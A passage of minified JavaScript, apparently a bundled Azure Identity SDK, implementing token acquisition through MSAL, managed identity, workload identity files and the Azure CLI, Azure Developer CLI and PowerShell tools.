(x86)/Google/Chrome/Application/chrome.exe",x64:["/mnt/c/Program Files/Google/Chrome/Application/chrome.exe","/mnt/c/Program Files (x86)/Google/Chrome/Application/chrome.exe"]}}));co(lo,"brave",()=>xJ1({darwin:"brave browser",win32:"brave",linux:["brave-browser","brave"]},{wsl:{ia32:"/mnt/c/Program Files (x86)/BraveSoftware/Brave-Browser/Application/brave.exe",x64:["/mnt/c/Program Files/BraveSoftware/Brave-Browser/Application/brave.exe","/mnt/c/Program Files (x86)/BraveSoftware/Brave-Browser/Application/brave.exe"]}}));co(lo,"firefox",()=>xJ1({darwin:"firefox",win32:String.raw`C:\Program Files\Mozilla Firefox\firefox.exe`,linux:"firefox"},{wsl:"/mnt/c/Program Files/Mozilla Firefox/firefox.exe"}));co(lo,"edge",()=>xJ1({darwin:"microsoft edge",win32:"msedge",linux:["microsoft-edge","microsoft-edge-dev"]},{wsl:"/mnt/c/Program Files (x86)/Microsoft/Edge/Application/msedge.exe"}));co(lo,"browser",()=>"browser");co(lo,"browserPrivate",()=>"browserPrivate");E2Y=T2Y});function k2Y(A,K,q={}){var Y,z,w;let H=Bt4((Y=q.logger)!==null&&Y!==void 0?Y:qf,K,A),J=F$6(H,g$6(q)),O=new U_A(Object.assign(Object.assign({},q.tokenCredentialOptions),{authorityHost:J,loggingOptions:q.loggingOptions}));return{auth:{clientId:A,authority:J,knownAuthorities:Hq7(H,J,q.disableInstanceDiscovery)},system:{networkClient:O,loggerOptions:{loggerCallback:SJ1((z=q.logger)!==null&&z!==void 0?z:qf),logLevel:hJ1(vw1()),piiLoggingEnabled:(w=q.loggingOptions)===null||w===void 0?void 0:w.enableUnsafeSupportLogging}}}}function io(A,K,q={}){var Y;let z={msalConfig:k2Y(A,K,q),cachedAccount:q.authenticationRecord?Jq7(q.authenticationRecord):null,pluginConfiguration:Pt4.generatePluginConfiguration(q),logger:(Y=q.logger)!==null&&Y!==void 0?Y:qf},w=new Map;async function H(T={}){let C=T.enableCae?"CAE":"default",R=w.get(C);if(R)return z.logger.getToken.info("Existing PublicClientApplication found in cache, returning it."),R;z.logger.getToken.info(`Creating new PublicClientApplication with CAE ${T.enableCae?"enabled":"disabled"}.`);let x=T.enableCae?z.pluginConfiguration.cache.cachePluginCae:z.pluginConfiguration.cache.cachePlugin;return z.msalConfig.auth.clientCapabilities=T.enableCae?["cp1"]:void 0,R=new VxA(Object.assign(Object.assign({},z.msalConfig),{broker:{nativeBrokerPlugin:z.pluginConfiguration.broker.nativeBrokerPlugin},cache:{cachePlugin:await x}})),w.set(C,R),R}let J=new Map;async function O(T={}){let C=T.enableCae?"CAE":"default",R=J.get(C);if(R)return z.logger.getToken.info("Existing ConfidentialClientApplication found in cache, returning it."),R;z.logger.getToken.info(`Creating new ConfidentialClientApplication with CAE ${T.enableCae?"enabled":"disabled"}.`);let x=T.enableCae?z.pluginConfiguration.cache.cachePluginCae:z.pluginConfiguration.cache.cachePlugin;return z.msalConfig.auth.clientCapabilities=T.enableCae?["cp1"]:void 0,R=new NxA(Object.assign(Object.assign({},z.msalConfig),{broker:{nativeBrokerPlugin:z.pluginConfiguration.broker.nativeBrokerPlugin},cache:{cachePlugin:await x}})),J.set(C,R),R}async function X(T,C,R={}){if(z.cachedAccount===null)throw z.logger.getToken.info("No cached account found in local state."),new PU({scopes:C});if(R.claims)z.cachedClaims=R.claims;let x={account:z.cachedAccount,scopes:C,claims:z.cachedClaims};if(z.pluginConfiguration.broker.isEnabled){if(x.tokenQueryParameters||(x.tokenQueryParameters={}),z.pluginConfiguration.broker.enableMsaPassthrough)x.tokenQueryParameters.msal_request_type="consumer_passthrough"}if(R.proofOfPossessionOptions)x.shrNonce=R.proofOfPossessionOptions.nonce,x.authenticationScheme="pop",x.resourceRequestMethod=R.proofOfPossessionOptions.resourceRequestMethod,x.resourceRequestUri=R.proofOfPossessionOptions.resourceRequestUrl;z.logger.getToken.info("Attempting to acquire token silently");try{return await T.acquireTokenSilent(x)}catch(y){throw cKA(C,y,R)}}function $(T){if(T===null||T===void 0?void 0:T.tenantId)return F$6(T.tenantId,g$6(q));return z.msalConfig.auth.authority}async function _(T,C,R,x){var y,B;let b=null;try{b=await X(T,C,R)}catch(F){if(F.name!=="AuthenticationRequiredError")throw F;if(R.disableAutomaticAuthentication)throw new PU({scopes:C,getTokenOptions:R,message:"Automatic authentication has been disabled. You may call the authentication() method."})}if(b===null)try{b=await x()}catch(F){throw cKA(C,F,R)}return jGA(C,b,R),z.cachedAccount=(y=b===null||b===void 0?void 0:b.account)!==null&&y!==void 0?y:null,z.logger.getToken.info(VG(C)),{token:b.accessToken,expiresOnTimestamp:b.expiresOn.getTime(),refreshAfterTimestamp:(B=b.refreshOn)===null||B===void 0?void 0:B.getTime(),tokenType:b.tokenType}}async function G(T,C,R={}){var x;z.logger.getToken.info("Attempting to acquire token using client secret"),z.msalConfig.auth.clientSecret=C;let y=await O(R);try{let B=await y.acquireTokenByClientCredential({scopes:T,authority:$(R),azureRegion:bJ1(),claims:R===null||R===void 0?void 0:R.claims});return jGA(T,B,R),z.logger.getToken.info(VG(T)),{token:B.accessToken,expiresOnTimestamp:B.expiresOn.getTime(),refreshAfterTimestamp:(x=B.refreshOn)===null||x===void 0?void 0:x.getTime(),tokenType:B.tokenType}}catch(B){throw cKA(T,B,R)}}async function Z(T,C,R={}){var x;z.logger.getToken.info("Attempting to acquire token using client assertion"),z.msalConfig.auth.clientAssertion=C;let y=await O(R);try{let B=await y.acquireTokenByClientCredential({scopes:T,authority:$(R),azureRegion:bJ1(),claims:R===null||R===void 0?void 0:R.claims,clientAssertion:C});return jGA(T,B,R),z.logger.getToken.info(VG(T)),{token:B.accessToken,expiresOnTimestamp:B.expiresOn.getTime(),refreshAfterTimestamp:(x=B.refreshOn)===null||x===void 0?void 0:x.getTime(),tokenType:B.tokenType}}catch(B){throw cKA(T,B,R)}}async function W(T,C,R={}){var x;z.logger.getToken.info("Attempting to acquire token using client certificate"),z.msalConfig.auth.clientCertificate=C;let y=await O(R);try{let B=await y.acquireTokenByClientCredential({scopes:T,authority:$(R),azureRegion:bJ1(),claims:R===null||R===void 0?void 0:R.claims});return jGA(T,B,R),z.logger.getToken.info(VG(T)),{token:B.accessToken,expiresOnTimestamp:B.expiresOn.getTime(),refreshAfterTimestamp:(x=B.refreshOn)===null||x===void 0?void 0:x.getTime(),tokenType:B.tokenType}}catch(B){throw cKA(T,B,R)}}async function D(T,C,R={}){z.logger.getToken.info("Attempting to acquire token using device code");let x=await H(R);return _(x,T,R,()=>{var y,B;let b={scopes:T,cancel:(B=(y=R===null||R===void 0?void 0:R.abortSignal)===null||y===void 0?void 0:y.aborted)!==null&&B!==void 0?B:!1,deviceCodeCallback:C,authority:$(R),claims:R===null||R===void 0?void 0:R.claims},F=x.acquireTokenByDeviceCode(b);if(R.abortSignal)R.abortSignal.addEventListener("abort",()=>{b.cancel=!0});return F})}async function j(T,C,R,x={}){z.logger.getToken.info("Attempting to acquire token using username and password");let y=await H(x);return _(y,T,x,()=>{let B={scopes:T,username:C,password:R,authority:$(x),claims:x===null||x===void 0?void 0:x.claims};return y.acquireTokenByUsernamePassword(B)})}function M(){if(!z.cachedAccount)return;return Oq7(A,z.cachedAccount)}async function P(T,C,R,x,y={}){z.logger.getToken.info("Attempting to acquire token using authorization code");let B;if(x)z.msalConfig.auth.clientSecret=x,B=await O(y);else B=await H(y);return _(B,T,y,()=>{return B.acquireTokenByCode({scopes:T,redirectUri:C,code:R,authority:$(y),claims:y===null||y===void 0?void 0:y.claims})})}async function f(T,C,R,x={}){var y;if(qf.getToken.info("Attempting to acquire token on behalf of another user"),typeof R==="string")qf.getToken.info("Using client secret for on behalf of flow"),z.msalConfig.auth.clientSecret=R;else if(typeof R==="function")qf.getToken.info("Using client assertion callback for on behalf of flow"),z.msalConfig.auth.clientAssertion=R;else qf.getToken.info("Using client certificate for on behalf of flow"),z.msalConfig.auth.clientCertificate=R;let B=await O(x);try{let b=await B.acquireTokenOnBehalfOf({scopes:T,authority:$(x),claims:x.claims,oboAssertion:C});return jGA(T,b,x),qf.getToken.info(VG(T)),{token:b.accessToken,expiresOnTimestamp:b.expiresOn.getTime(),refreshAfterTimestamp:(y=b.refreshOn)===null||y===void 0?void 0:y.getTime(),tokenType:b.tokenType}}catch(b){throw cKA(T,b,x)}}async function N(T,C={}){qf.getToken.info("Attempting to acquire token interactively");let R=await H(C);async function x(B){var b;qf.verbose("Authentication will resume through the broker");let F=y();if(z.pluginConfiguration.broker.parentWindowHandle)F.windowHandle=Buffer.from(z.pluginConfiguration.broker.parentWindowHandle);else qf.warning("Parent window handle is not specified for the broker. This may cause unexpected behavior. Please provide the parentWindowHandle.");if(z.pluginConfiguration.broker.enableMsaPassthrough)((b=F.tokenQueryParameters)!==null&&b!==void 0?b:F.tokenQueryParameters={}).msal_request_type="consumer_passthrough";if(B)F.prompt="none",qf.verbose("Attempting broker authentication using the default broker account");else qf.verbose("Attempting broker authentication without the default broker account");if(C.proofOfPossessionOptions)F.shrNonce=C.proofOfPossessionOptions.nonce,F.authenticationScheme="pop",F.resourceRequestMethod=C.proofOfPossessionOptions.resourceRequestMethod,F.resourceRequestUri=C.proofOfPossessionOptions.resourceRequestUrl;try{return await R.acquireTokenInteractive(F)}catch(Q){if(qf.verbose(`Failed to authenticate through the broker: ${Q.message}`),B)return x(!1);else throw Q}}function y(){var B,b;return{openBrowser:async(F)=>{await(await Promise.resolve().then(() => (xq7(),bq7))).default(F,{wait:!0,newInstance:!0})},scopes:T,authority:$(C),claims:C===null||C===void 0?void 0:C.claims,loginHint:C===null||C===void 0?void 0:C.loginHint,errorTemplate:(B=C===null||C===void 0?void 0:C.browserCustomizationOptions)===null||B===void 0?void 0:B.errorMessage,successTemplate:(b=C===null||C===void 0?void 0:C.browserCustomizationOptions)===null||b===void 0?void 0:b.successMessage,prompt:(C===null||C===void 0?void 0:C.loginHint)?"login":"select_account"}}return _(R,T,C,async()=>{var B;let b=y();if(z.pluginConfiguration.broker.isEnabled)return x((B=z.pluginConfiguration.broker.useDefaultBrokerAccount)!==null&&B!==void 0?B:!1);if(C.proofOfPossessionOptions)b.shrNonce=C.proofOfPossessionOptions.nonce,b.authenticationScheme="pop",b.resourceRequestMethod=C.proofOfPossessionOptions.resourceRequestMethod,b.resourceRequestUri=C.proofOfPossessionOptions.resourceRequestUrl;return R.acquireTokenInteractive(b)})}return{getActiveAccount:M,getTokenByClientSecret:G,getTokenByClientAssertion:Z,getTokenByClientCertificate:W,getTokenByDeviceCode:D,getTokenByUsernamePassword:j,getTokenByAuthorizationCode:P,getTokenOnBehalfOf:f,getTokenByInteractiveRequest:N}}var qf;var kxA=k(()=>{IJ1();YX();Vt4();Q$6();TM();H06();Gq7();g7A();qI();qf=tY("MsalClient")});class Y_6{constructor(A,K,q,Y={}){if(!A)throw new wq("ClientAssertionCredential: tenantId is a required parameter.");if(!K)throw new wq("ClientAssertionCredential: clientId is a required parameter.");if(!q)throw new wq("ClientAssertionCredential: clientAssertion is a required parameter.");this.tenantId=A,this.additionallyAllowedTenantIds=nV(Y===null||Y===void 0?void 0:Y.additionallyAllowedTenants),this.options=Y,this.getAssertion=q,this.msalClient=io(K,A,Object.assign(Object.assign({},Y),{logger:uq7,tokenCredentialOptions:this.options}))}async getToken(A,K={}){return EJ.withSpan(`${this.constructor.name}.getToken`,K,async(q)=>{q.tenantId=vM(this.tenantId,q,this.additionallyAllowedTenantIds,uq7);let Y=Array.isArray(A)?A:[A];return this.msalClient.getTokenByClientAssertion(Y,this.getAssertion,q)})}}var uq7;var Bq7=k(()=>{kxA();qI();TM();YX();mT();uq7=tY("ClientAssertionCredential")});import{readFile as C2Y}from"node:fs/promises";class nKA{constructor(A){this.azureFederatedTokenFileContent=void 0,this.cacheDate=void 0;let K=Ew1(L2Y).assigned.join(", ");CxA.info(`Found the following environment variables: ${K}`);let q=A!==null&&A!==void 0?A:{},Y=q.tenantId||process.env.AZURE_TENANT_ID,z=q.clientId||process.env.AZURE_CLIENT_ID;if(this.federatedTokenFilePath=q.tokenFilePath||process.env.AZURE_FEDERATED_TOKEN_FILE,Y)iV(CxA,Y);if(!z)throw new wq(`${iKA}: is unavailable. clientId is a required parameter. In DefaultAzureCredential and ManagedIdentityCredential, this can be provided as an environment variable - "AZURE_CLIENT_ID". See the troubleshooting guide for more information: https://aka.ms/azsdk/js/identity/workloadidentitycredential/troubleshoot`);if(!Y)throw new wq(`${iKA}: is unavailable. tenantId is a required parameter. In DefaultAzureCredential and ManagedIdentityCredential, this can be provided as an environment variable - "AZURE_TENANT_ID". See the troubleshooting guide for more information: https://aka.ms/azsdk/js/identity/workloadidentitycredential/troubleshoot`);if(!this.federatedTokenFilePath)throw new wq(`${iKA}: is unavailable. federatedTokenFilePath is a required parameter. In DefaultAzureCredential and ManagedIdentityCredential, this can be provided as an environment variable - "AZURE_FEDERATED_TOKEN_FILE". See the troubleshooting guide for more information: https://aka.ms/azsdk/js/identity/workloadidentitycredential/troubleshoot`);CxA.info(`Invoking ClientAssertionCredential with tenant ID: ${Y}, clientId: ${q.clientId} and federated token path: [REDACTED]`),this.client=new Y_6(Y,z,this.readFileContents.bind(this),A)}async getToken(A,K){if(!this.client){let q=`${iKA}: is unavailable. tenantId, clientId, and federatedTokenFilePath are required parameters. In DefaultAzureCredential and ManagedIdentityCredential, these can be provided as environment variables - "AZURE_TENANT_ID", "AZURE_CLIENT_ID", "AZURE_FEDERATED_TOKEN_FILE". See the troubleshooting guide for more information: https://aka.ms/azsdk/js/identity/workloadidentitycredential/troubleshoot`;throw CxA.info(q),new wq(q)}return CxA.info("Invoking getToken() of Client Assertion Credential"),this.client.getToken(A,K)}async readFileContents(){if(this.cacheDate!==void 0&&Date.now()-this.cacheDate>=300000)this.azureFederatedTokenFileContent=void 0;if(!this.federatedTokenFilePath)throw new wq(`${iKA}: is unavailable. Invalid file path provided ${this.federatedTokenFilePath}.`);if(!this.azureFederatedTokenFileContent){let K=(await C2Y(this.federatedTokenFilePath,"utf8")).trim();if(!K)throw new wq(`${iKA}: is unavailable. No content on the file ${this.federatedTokenFilePath}.`);else this.azureFederatedTokenFileContent=K,this.cacheDate=Date.now()}return this.azureFederatedTokenFileContent}}var iKA="WorkloadIdentityCredential",L2Y,CxA;var z_6=k(()=>{YX();Bq7();TM();qI();L2Y=["AZURE_TENANT_ID","AZURE_CLIENT_ID","AZURE_FEDERATED_TOKEN_FILE"],CxA=tY(iKA)});var mq7="ManagedIdentityCredential - Token Exchange",R2Y,w_6;var gq7=k(()=>{z_6();YX();R2Y=tY(mq7),w_6={name:"tokenExchangeMsi",async isAvailable(A){let K=process.env,q=Boolean((A||K.AZURE_CLIENT_ID)&&K.AZURE_TENANT_ID&&process.env.AZURE_FEDERATED_TOKEN_FILE);if(!q)R2Y.info(`${mq7}: Unavailable. The environment variables needed are: AZURE_CLIENT_ID (or the client ID sent through the parameters), AZURE_TENANT_ID and AZURE_FEDERATED_TOKEN_FILE`);return q},async getToken(A,K={}){let{scopes:q,clientId:Y}=A,z={};return new nKA(Object.assign(Object.assign({clientId:Y,tenantId:process.env.AZURE_TENANT_ID,tokenFilePath:process.env.AZURE_FEDERATED_TOKEN_FILE},z),{disableInstanceDiscovery:!0})).getToken(q,K)}}});class VGA{constructor(A,K){var q,Y;this.msiRetryConfig={maxRetries:5,startDelayInMs:800,intervalIncrement:2};let z;if(typeof A==="string")this.clientId=A,z=K!==null&&K!==void 0?K:{};else this.clientId=A===null||A===void 0?void 0:A.clientId,z=A!==null&&A!==void 0?A:{};this.resourceId=z===null||z===void 0?void 0:z.resourceId,this.objectId=z===null||z===void 0?void 0:z.objectId;let w=[{key:"clientId",value:this.clientId},{key:"resourceId",value:this.resourceId},{key:"objectId",value:this.objectId}].filter((J)=>J.value);if(w.length>1)throw Error(`ManagedIdentityCredential: only one of 'clientId', 'resourceId', or 'objectId' can be provided. Received values: ${JSON.stringify({clientId:this.clientId,resourceId:this.resourceId,objectId:this.objectId})}`);if(z.allowInsecureConnection=!0,((q=z.retryOptions)===null||q===void 0?void 0:q.maxRetries)!==void 0)this.msiRetryConfig.maxRetries=z.retryOptions.maxRetries;this.identityClient=new U_A(Object.assign(Object.assign({},z),{additionalPolicies:[{policy:Xq7(this.msiRetryConfig),position:"perCall"}]})),this.managedIdentityApp=new Ru({managedIdentityIdParams:{userAssignedClientId:this.clientId,userAssignedResourceId:this.resourceId,userAssignedObjectId:this.objectId},system:{disableInternalRetries:!0,networkClient:this.identityClient,loggerOptions:{logLevel:hJ1(vw1()),piiLoggingEnabled:(Y=z.loggingOptions)===null||Y===void 0?void 0:Y.enableUnsafeSupportLogging,loggerCallback:SJ1(pT)}}}),this.isAvailableIdentityClient=new U_A(Object.assign(Object.assign({},z),{retryOptions:{maxRetries:0}}));let H=this.managedIdentityApp.getManagedIdentitySource();if(H==="CloudShell"){if(this.clientId||this.resourceId||this.objectId)throw pT.warning(`CloudShell MSI detected with user-provided IDs - throwing. Received values: ${JSON.stringify({clientId:this.clientId,resourceId:this.resourceId,objectId:this.objectId})}.`),new wq("ManagedIdentityCredential: Specifying a user-assigned managed identity is not supported for CloudShell at runtime. When using Managed Identity in CloudShell, omit the clientId, resourceId, and objectId parameters.")}if(H==="ServiceFabric"){if(this.clientId||this.resourceId||this.objectId)throw pT.warning(`Service Fabric detected with user-provided IDs - throwing. Received values: ${JSON.stringify({clientId:this.clientId,resourceId:this.resourceId,objectId:this.objectId})}.`),new wq(`ManagedIdentityCredential: ${_17}`)}if(pT.info(`Using ${H} managed identity.`),w.length===1){let{key:J,value:O}=w[0];pT.info(`${H} with ${J}: ${O}`)}}async getToken(A,K={}){pT.getToken.info("Using the MSAL provider for Managed Identity.");let q=phA(A);if(!q)throw new wq(`ManagedIdentityCredential: Multiple scopes are not supported. Scopes: ${JSON.stringify(A)}`);return EJ.withSpan("ManagedIdentityCredential.getToken",K,async()=>{var Y;try{let z=await w_6.isAvailable(this.clientId),w=this.managedIdentityApp.getManagedIdentitySource(),H=w==="DefaultToImds"||w==="Imds";if(pT.getToken.info(`MSAL Identity source: ${w}`),z){pT.getToken.info("Using the token exchange managed identity.");let O=await w_6.getToken({scopes:A,clientId:this.clientId,identityClient:this.identityClient,retryConfig:this.msiRetryConfig,resourceId:this.resourceId});if(O===null)throw new wq("Attempted to use the token exchange managed identity, but received a null response.");return O}else if(H){if(pT.getToken.info("Using the IMDS endpoint to probe for availability."),!await U$6.isAvailable({scopes:A,clientId:this.clientId,getTokenOptions:K,identityClient:this.isAvailableIdentityClient,resourceId:this.resourceId}))throw new wq("Attempted to use the IMDS endpoint, but it is not available.")}pT.getToken.info("Calling into MSAL for managed identity token.");let J=await this.managedIdentityApp.acquireToken({resource:q});return this.ensureValidMsalToken(A,J,K),pT.getToken.info(VG(A)),{expiresOnTimestamp:J.expiresOn.getTime(),token:J.accessToken,refreshAfterTimestamp:(Y=J.refreshOn)===null||Y===void 0?void 0:Y.getTime(),tokenType:"Bearer"}}catch(z){if(pT.getToken.error(Q2(A,z)),z.name==="AuthenticationRequiredError")throw z;if(y2Y(z))throw new wq(`ManagedIdentityCredential: Network unreachable. Message: ${z.message}`,{cause:z});throw new wq(`ManagedIdentityCredential: Authentication failed. Message ${z.message}`,{cause:z})}})}ensureValidMsalToken(A,K,q){let Y=(z)=>{return pT.getToken.info(z),new PU({scopes:Array.isArray(A)?A:[A],getTokenOptions:q,message:z})};if(!K)throw Y("No response.");if(!K.expiresOn)throw Y('Response had no "expiresOn" property.');if(!K.accessToken)throw Y('Response had no "accessToken" property.')}}function y2Y(A){if(A.errorCode==="network_error")return!0;if(A.code==="ENETUNREACH"||A.code==="EHOSTUNREACH")return!0;if(A.statusCode===403||A.code===403){if(A.message.includes("unreachable"))return!0}return!1}var pT;var Fq7=k(()=>{g7A();IJ1();H06();TM();Q$6();$q7();YX();mT();_q7();gq7();pT=tY("ManagedIdentityCredential")});function uJ1(A){return Array.isArray(A)?A:[A]}function fGA(A,K){if(!A.match(/^[0-9a-zA-Z-_.:/]+$/)){let q=Error("Invalid scope was specified by the user or calling client");throw K.getToken.info(Q2(A,q)),q}}function BJ1(A){return A.replace(/\/.default$/,"")}var NGA=k(()=>{YX()});function H_6(A,K){if(!K.match(/^[0-9a-zA-Z-._ ]+$/)){let q=Error("Invalid subscription provided. You can locate your subscription by following the instructions listed here: https://learn.microsoft.com/azure/azure-portal/get-subscription-tenant-id.");throw A.info(Q2("",q)),q}}var Qq7=k(()=>{YX()});import I2Y from"child_process";class J_6{constructor(A){if(A===null||A===void 0?void 0:A.tenantId)iV(TC,A===null||A===void 0?void 0:A.tenantId),this.tenantId=A===null||A===void 0?void 0:A.tenantId;if(A===null||A===void 0?void 0:A.subscription)H_6(TC,A===null||A===void 0?void 0:A.subscription),this.subscription=A===null||A===void 0?void 0:A.subscription;this.additionallyAllowedTenantIds=nV(A===null||A===void 0?void 0:A.additionallyAllowedTenants),this.timeout=A===null||A===void 0?void 0:A.processTimeoutInMs}async getToken(A,K={}){let q=vM(this.tenantId,K,this.additionallyAllowedTenantIds);if(q)iV(TC,q);if(this.subscription)H_6(TC,this.subscription);let Y=typeof A==="string"?A:A[0];return TC.getToken.info(`Using the scope ${Y}`),EJ.withSpan(`${this.constructor.name}.getToken`,K,async()=>{var z,w,H,J;try{fGA(Y,TC);let O=BJ1(Y),X=await Uq7.getAzureCliAccessToken(O,q,this.subscription,this.timeout),$=(z=X.stderr)===null||z===void 0?void 0:z.match("(.*)az login --scope(.*)"),_=((w=X.stderr)===null||w===void 0?void 0:w.match("(.*)az login(.*)"))&&!$;if(((H=X.stderr)===null||H===void 0?void 0:H.match("az:(.*)not found"))||((J=X.stderr)===null||J===void 0?void 0:J.startsWith("'az' is not recognized"))){let Z=new wq("Azure CLI could not be found. Please visit https://aka.ms/azure-cli for installation instructions and then, once installed, authenticate to your Azure account using 'az login'.");throw TC.getToken.info(Q2(A,Z)),Z}if(_){let Z=new wq("Please run 'az login' from a command prompt to authenticate before using this credential.");throw TC.getToken.info(Q2(A,Z)),Z}try{let Z=X.stdout,W=this.parseRawResponse(Z);return TC.getToken.info(VG(A)),W}catch(Z){if(X.stderr)throw new wq(X.stderr);throw Z}}catch(O){let X=O.name==="CredentialUnavailableError"?O:new wq(O.message||"Unknown error while trying to retrieve the access token");throw TC.getToken.info(Q2(A,X)),X}})}parseRawResponse(A){let K=JSON.parse(A),q=K.accessToken,Y=Number.parseInt(K.expires_on,10)*1000;if(!isNaN(Y))return TC.getToken.info("expires_on is available and is valid, using it"),{token:q,expiresOnTimestamp:Y,tokenType:"Bearer"};if(Y=new Date(K.expiresOn).getTime(),isNaN(Y))throw new wq(`Unexpected response from Azure CLI when getting token. Expected "expiresOn" to be a RFC3339 date string. Got: "${K.expiresOn}"`);return{token:q,expiresOnTimestamp:Y,tokenType:"Bearer"}}}var TC,Uq7;var pq7=k(()=>{qI();YX();NGA();TM();mT();Qq7();TC=tY("AzureCliCredential"),Uq7={getSafeWorkingDir(){if(process.platform==="win32"){let A=process.env.SystemRoot||process.env.SYSTEMROOT;if(!A)TC.getToken.warning("The SystemRoot environment variable is not set. This may cause issues when using the Azure CLI credential."),A="C:\\Windows";return A}else return"/bin"},async getAzureCliAccessToken(A,K,q,Y){let z=[],w=[];if(K)z=["--tenant",K];if(q)w=["--subscription",`"${q}"`];return new Promise((H,J)=>{try{I2Y.execFile("az",["account","get-access-token","--output","json","--resource",A,...z,...w],{cwd:Uq7.getSafeWorkingDir(),shell:!0,timeout:Y},(O,X,$)=>{H({stdout:X,stderr:$,error:O})})}catch(O){J(O)}})}}});import S2Y from"child_process";class O_6{constructor(A){if(A===null||A===void 0?void 0:A.tenantId)iV(pU,A===null||A===void 0?void 0:A.tenantId),this.tenantId=A===null||A===void 0?void 0:A.tenantId;this.additionallyAllowedTenantIds=nV(A===null||A===void 0?void 0:A.additionallyAllowedTenants),this.timeout=A===null||A===void 0?void 0:A.processTimeoutInMs}async getToken(A,K={}){let q=vM(this.tenantId,K,this.additionallyAllowedTenantIds);if(q)iV(pU,q);let Y;if(typeof A==="string")Y=[A];else Y=A;return pU.getToken.info(`Using the scopes ${A}`),EJ.withSpan(`${this.constructor.name}.getToken`,K,async()=>{var z,w,H,J;try{Y.forEach((_)=>{fGA(_,pU)});let O=await dq7.getAzdAccessToken(Y,q,this.timeout),X=((z=O.stderr)===null||z===void 0?void 0:z.match("not logged in, run `azd login` to login"))||((w=O.stderr)===null||w===void 0?void 0:w.match("not logged in, run `azd auth login` to login"));if(((H=O.stderr)===null||H===void 0?void 0:H.match("azd:(.*)not found"))||((J=O.stderr)===null||J===void 0?void 0:J.startsWith("'azd' is not recognized"))||O.error&&O.error.code==="ENOENT"){let _=new wq("Azure Developer CLI couldn't be found. To mitigate this issue, see the troubleshooting guidelines at https://aka.ms/azsdk/js/identity/azdevclicredential/troubleshoot.");throw pU.getToken.info(Q2(A,_)),_}if(X){let _=new wq("Please run 'azd auth login' from a command prompt to authenticate before using this credential. For more information, see the troubleshooting guidelines at https://aka.ms/azsdk/js/identity/azdevclicredential/troubleshoot.");throw pU.getToken.info(Q2(A,_)),_}try{let _=JSON.parse(O.stdout);return pU.getToken.info(VG(A)),{token:_.token,expiresOnTimestamp:new Date(_.expiresOn).getTime(),tokenType:"Bearer"}}catch(_){if(O.stderr)throw new wq(O.stderr);throw _}}catch(O){let X=O.name==="CredentialUnavailableError"?O:new wq(O.message||"Unknown error while trying to retrieve the access token");throw pU.getToken.info(Q2(A,X)),X}})}}var pU,dq7;var cq7=k(()=>{YX();TM();qI();mT();NGA();pU=tY("AzureDeveloperCliCredential"),dq7={getSafeWorkingDir(){if(process.platform==="win32"){let A=process.env.SystemRoot||process.env.SYSTEMROOT;if(!A)pU.getToken.warning("The SystemRoot environment variable is not set. This may cause issues when using the Azure Developer CLI credential."),A="C:\\Windows";return A}else return"/bin"},async getAzdAccessToken(A,K,q){let Y=[];if(K)Y=["--tenant-id",K];return new Promise((z,w)=>{try{S2Y.execFile("azd",["auth","token","--output","json",...A.reduce((H,J)=>H.concat("--scope",J),[]),...Y],{cwd:dq7.getSafeWorkingDir(),timeout:q},(H,J,O)=>{z({stdout:J,stderr:O,error:H})})}catch(H){w(H)}})}}});import*as lq7 from"child_process";var iq7;var nq7=k(()=>{iq7={execFile(A,K,q){return new Promise((Y,z)=>{lq7.execFile(A,K,q,(w,H,J)=>{if(Buffer.isBuffer(H))H=H.toString("utf8");if(Buffer.isBuffer(J))J=J.toString("utf8");if(J||w)z(J?Error(J):w);else Y(H)})})}}});function aq7(A){if(oq7)return`${A}.exe`;else return A}async function rq7(A,K){let q=[];for(let Y of A){let[z,...w]=Y,H=await iq7.execFile(z,w,{encoding:"utf8",timeout:K});q.push(H)}return q}class __6{constructor(A){if(A===null||A===void 0?void 0:A.tenantId)iV(dU,A===null||A===void 0?void 0:A.tenantId),this.tenantId=A===null||A===void 0?void 0:A.tenantId;this.additionallyAllowedTenantIds=nV(A===null||A===void 0?void 0:A.additionallyAllowedTenants),this.timeout=A===null||A===void 0?void 0:A.processTimeoutInMs}async getAzurePowerShellAccessToken(A,K,q){for(let Y of[...$_6]){try{await rq7([[Y,"/?"]],q)}catch(H){$_6.shift();continue}let w=(await rq7([[Y,"-NoProfile","-NonInteractive","-Command",` $tenantId = "${K!==null&&K!==void 0?K:""}" $m = Import-Module Az.Accounts -MinimumVersion 2.2.0 -PassThru $useSecureString = $m.Version -ge [version]'2.17.0' $params = @{ ResourceUrl = "${A}" } if ($tenantId.Length -gt 0) { $params["TenantId"] = $tenantId } if ($useSecureString) { $params["AsSecureString"] = $true } $token = Get-AzAccessToken @params $result = New-Object -TypeName PSObject $result | Add-Member -MemberType NoteProperty -Name ExpiresOn -Value $token.ExpiresOn if ($useSecureString) { $result | Add-Member -MemberType NoteProperty -Name Token -Value (ConvertFrom-SecureString -AsPlainText $token.Token) } else { $result | Add-Member -MemberType NoteProperty -Name Token -Value $token.Token } Write-Output (ConvertTo-Json $result) `]]))[0];return x2Y(w)}throw Error("Unable to execute PowerShell. Ensure that it is installed in your system")}async getToken(A,K={}){return EJ.withSpan(`${this.constructor.name}.getToken`,K,async()=>{let q=vM(this.tenantId,K,this.additionallyAllowedTenantIds),Y=typeof A==="string"?A:A[0];if(q)iV(dU,q);try{fGA(Y,dU),dU.getToken.info(`Using the scope ${Y}`);let z=BJ1(Y),w=await this.getAzurePowerShellAccessToken(z,q,this.timeout);return dU.getToken.info(VG(A)),{token:w.Token,expiresOnTimestamp:new Date(w.ExpiresOn).getTime(),tokenType:"Bearer"}}catch(z){if(b2Y(z)){let H=new wq(X_6.installed);throw dU.getToken.info(Q2(Y,H)),H}else if(h2Y(z)){let H=new wq(X_6.login);throw dU.getToken.info(Q2(Y,H)),H}let w=new wq(`${z}. ${X_6.troubleshoot}`);throw dU.getToken.info(Q2(Y,w)),w}})}}async function x2Y(A){let K=/{[^{}]*}/g,q=A.match(K),Y=A;if(q)try{for(let z of q)try{let w=JSON.parse(z);if(w===null||w===void 0?void 0:w.Token){if(Y=Y.replace(z,""),Y)dU.getToken.warning(Y);return w}}catch(w){continue}}catch(z){throw Error(`Unable to parse the output of PowerShell. Received output: ${A}`)}throw Error(`No access token found in the output. Received output: ${A}`)}var dU,oq7,sq7,X_6,h2Y=(A)=>A.message.match(`(.*)${sq7.login}(.*)`),b2Y=(A)=>A.message.match(sq7.installed),$_6;var tq7=k(()=>{qI();YX();NGA();TM();nq7();mT();dU=tY("AzurePowerShellCredential"),oq7=process.platform==="win32";sq7={login:"Run Connect-AzAccount to login",installed:"The specified module 'Az.Accounts' with version '2.2.0' was not loaded because no valid module file was found in any module 